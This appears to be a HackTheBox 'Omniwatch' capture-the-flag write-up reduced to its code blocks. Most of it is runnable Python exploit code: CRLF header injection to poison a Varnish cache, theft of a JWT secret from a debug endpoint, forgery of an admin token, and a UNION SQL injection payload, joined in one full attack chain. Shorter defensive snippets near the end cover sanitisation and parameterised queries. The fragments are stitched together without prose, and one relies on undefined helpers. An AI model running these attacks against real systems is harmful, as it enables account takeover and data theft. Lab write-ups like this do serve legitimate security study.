HTB: Omniwatch – Multi-Stage Cache Poisoning Attack Chain

#!/usr/bin/env python3
"""
Poison Varnish cache to expose JWT secret
"""
import requests
import urllib.parse

TARGET = "http://target.com:8080"

# Construct CRLF payload
payload = "admin"
payload += "\r\n"  # CRLF
payload += "X-Debug: true\r\n"  # Trigger debug mode
payload += "Cache-Control: public, max-age=3600\r\n"  # Cache for 1 hour
payload += "\r\n"  # End headers
payload += '{"secret":"INJECT_HERE"}'  # Fake response body

# URL encode
encoded = urllib.parse.quote(payload, safe='')

# Poison cache
url = f"{TARGET}/api/user?name={encoded}"
resp = requests.get(url)

print(f"[*] Cache poisoning request sent")
print(f"[*] Status: {resp.status_code}")
print(f"[*] Headers: {dict(resp.headers)}")

#!/usr/bin/env python3
"""
Cache poison /api/debug to always serve with debug enabled
"""
import requests

TARGET = "http://target.com:8080"

# CRLF payload to inject X-Debug header
payload = "admin\r\nX-Debug: true\r\n"

url = f"{TARGET}/api/user?name={payload}"
resp = requests.get(url)

print(f"[+] Poisoned cache for /api/user")

# Now request /api/debug
resp = requests.get(f"{TARGET}/api/debug")
print(f"[+] Debug response: {resp.text}")

if "jwt_secret" in resp.text:
    import json
    data = json.loads(resp.text)
    secret = data["jwt_secret"]
    print(f"[+] JWT Secret: {secret}")
    
    with open("jwt_secret.txt", "w") as f:
        f.write(secret)
    print(f"[+] Saved to jwt_secret.txt")

#!/usr/bin/env python3
"""
Forge JWT token with admin role
"""
import jwt
from pathlib import Path

# Load secret
SECRET = Path("jwt_secret.txt").read_text().strip()

# Create admin claims
payload = {
    "username": "admin",
    "role": "admin",
    "exp": 9999999999  # Far future expiration
}

# Sign token
token = jwt.encode(payload, SECRET, algorithm="HS256")

print(f"[+] Forged admin JWT:")
print(token)

with open("admin_token.txt", "w") as f:
    f.write(token)

print(f"[+] Saved to admin_token.txt")

#!/usr/bin/env python3
"""
Complete Omniwatch exploit chain
1. CRLF injection to poison cache
2. JWT secret extraction via poisoned debug endpoint
3. JWT forgery with admin role
4. SQL injection to extract flag
"""
import requests
import jwt
import json
import urllib.parse
from time import sleep

TARGET = "http://target.com:8080"

print("[*] Stage 1: CRLF Injection + Cache Poisoning")
print("=" * 60)

# Craft CRLF payload
payload = "testuser\r\nX-Debug: true\r\nCache-Control: public, max-age=7200\r\n"
encoded = urllib.parse.quote(payload, safe='')

# Poison cache
url = f"{TARGET}/api/user?name={encoded}"
resp = requests.get(url)
print(f"[+] Sent cache poisoning request")

# Wait for cache to settle
sleep(2)

print("\n[*] Stage 2: JWT Secret Extraction")
print("=" * 60)

# Request debug endpoint (should be poisoned)
resp = requests.get(f"{TARGET}/api/debug")
data = json.loads(resp.text)
jwt_secret = data.get("jwt_secret")

if jwt_secret:
    print(f"[+] JWT Secret: {jwt_secret}")
else:
    print("[!] Failed to extract JWT secret")
    exit(1)

print("\n[*] Stage 3: JWT Forgery")
print("=" * 60)

# Forge admin token
admin_payload = {
    "username": "hacker",
    "role": "admin",
    "exp": 9999999999
}

admin_token = jwt.encode(admin_payload, jwt_secret, algorithm="HS256")
print(f"[+] Forged admin JWT: {admin_token[:50]}...")

# Test admin access
headers = {"Authorization": f"Bearer {admin_token}"}
resp = requests.get(f"{TARGET}/admin/dashboard", headers=headers)

if resp.status_code == 200:
    print(f"[+] Admin access confirmed")
else:
    print(f"[!] Admin access failed")
    exit(1)

print("\n[*] Stage 4: SQL Injection")
print("=" * 60)

# Extract flag via UNION injection
sqli_payload = "' UNION SELECT flag_id,flag_value,NULL FROM flags--"
params = {"query": sqli_payload}

resp = requests.get(f"{TARGET}/admin/search", params=params, headers=headers)
data = json.loads(resp.text)

if "results" in data and len(data["results"]) > 0:
    flag = data["results"][0].get("role")
    if flag and flag.startswith("HTB{"):
        print(f"\n[+] FLAG CAPTURED:")
        print(f"    {flag}")
        print(f"\n[+] Exploit chain completed successfully!")
    else:
        print("[!] Flag not found in results")
else:
    print("[!] SQL injection failed")

print("\n" + "=" * 60)
print("Attack Summary:")
print("  1. CRLF injection → Cache poisoning")
print("  2. Poisoned cache → JWT secret leak")
print("  3. JWT secret → Admin token forgery")
print("  4. Admin access → SQL injection")
print("  5. SQL injection → Flag extraction")
print("=" * 60)

# Forge admin token
payload = {"username":"attacker","role":"admin","exp":9999999999}
signature = hmac_sha256(secret, f"{header}.{payload}")
token = f"{header}.{payload}.{signature}"

def verify_jwt(token, secret):
    header, payload, signature = token.split(".")
    expected_sig = hmac_sha256(secret, f"{header}.{payload}")
    return signature == expected_sig  # ✓ Valid!

import re

def sanitize_header_value(value):
    # Remove all control characters
    return re.sub(r'[\r\n\x00-\x1f\x7f]', '', value)

@app.route('/api/user')
def get_user():
    name = request.args.get('name', '')
    name = sanitize_header_value(name)  # Sanitize!
    
    response = make_response(jsonify(get_user_data(name)))
    response.headers['X-User'] = name  # Safe now
    return response

# DON'T:
response.headers['X-Input'] = request.args.get('data')

# DO:
# Don't reflect user input in headers at all

# DON'T:
@app.route('/api/debug')
def debug():
    return jsonify({
        "jwt_secret": app.config['JWT_SECRET']  # NEVER!
    })

# DO:
@app.route('/api/debug')
def debug():
    if not is_internal_network(request.remote_addr):
        abort(403)
    
    return jsonify({
        "status": "ok",
        # No secrets!
    })

import secrets

def rotate_jwt_secret():
    new_secret = secrets.token_urlsafe(64)
    
    # Store new secret
    app.config['JWT_SECRET'] = new_secret
    
    # Invalidate all existing tokens
    revoke_all_sessions()

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

# Generate key pair
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# Sign with private key (server only)
token = jwt.encode(payload, private_key, algorithm="RS256")

# Verify with public key (can be public)
jwt.decode(token, public_key, algorithms=["RS256"])

# DON'T:
query = f"SELECT * FROM users WHERE username LIKE '%{user_input}%'"
cursor.execute(query)  # VULNERABLE!

# DO:
query = "SELECT * FROM users WHERE username LIKE %s"
cursor.execute(query, (f'%{user_input}%',))  # Safe

from sqlalchemy import or_

# SQLAlchemy automatically sanitizes
users = User.query.filter(
    or_(
        User.username.like(f'%{search}%'),
        User.email.like(f'%{search}%')
    )
).all()

ALLOWED_COLUMNS = ['username', 'email', 'role']

def search_users(column, value):
    if column not in ALLOWED_COLUMNS:
        raise ValueError("Invalid column")
    
    query = f"SELECT * FROM users WHERE {column} = %s"
    return cursor.execute(query, (value,))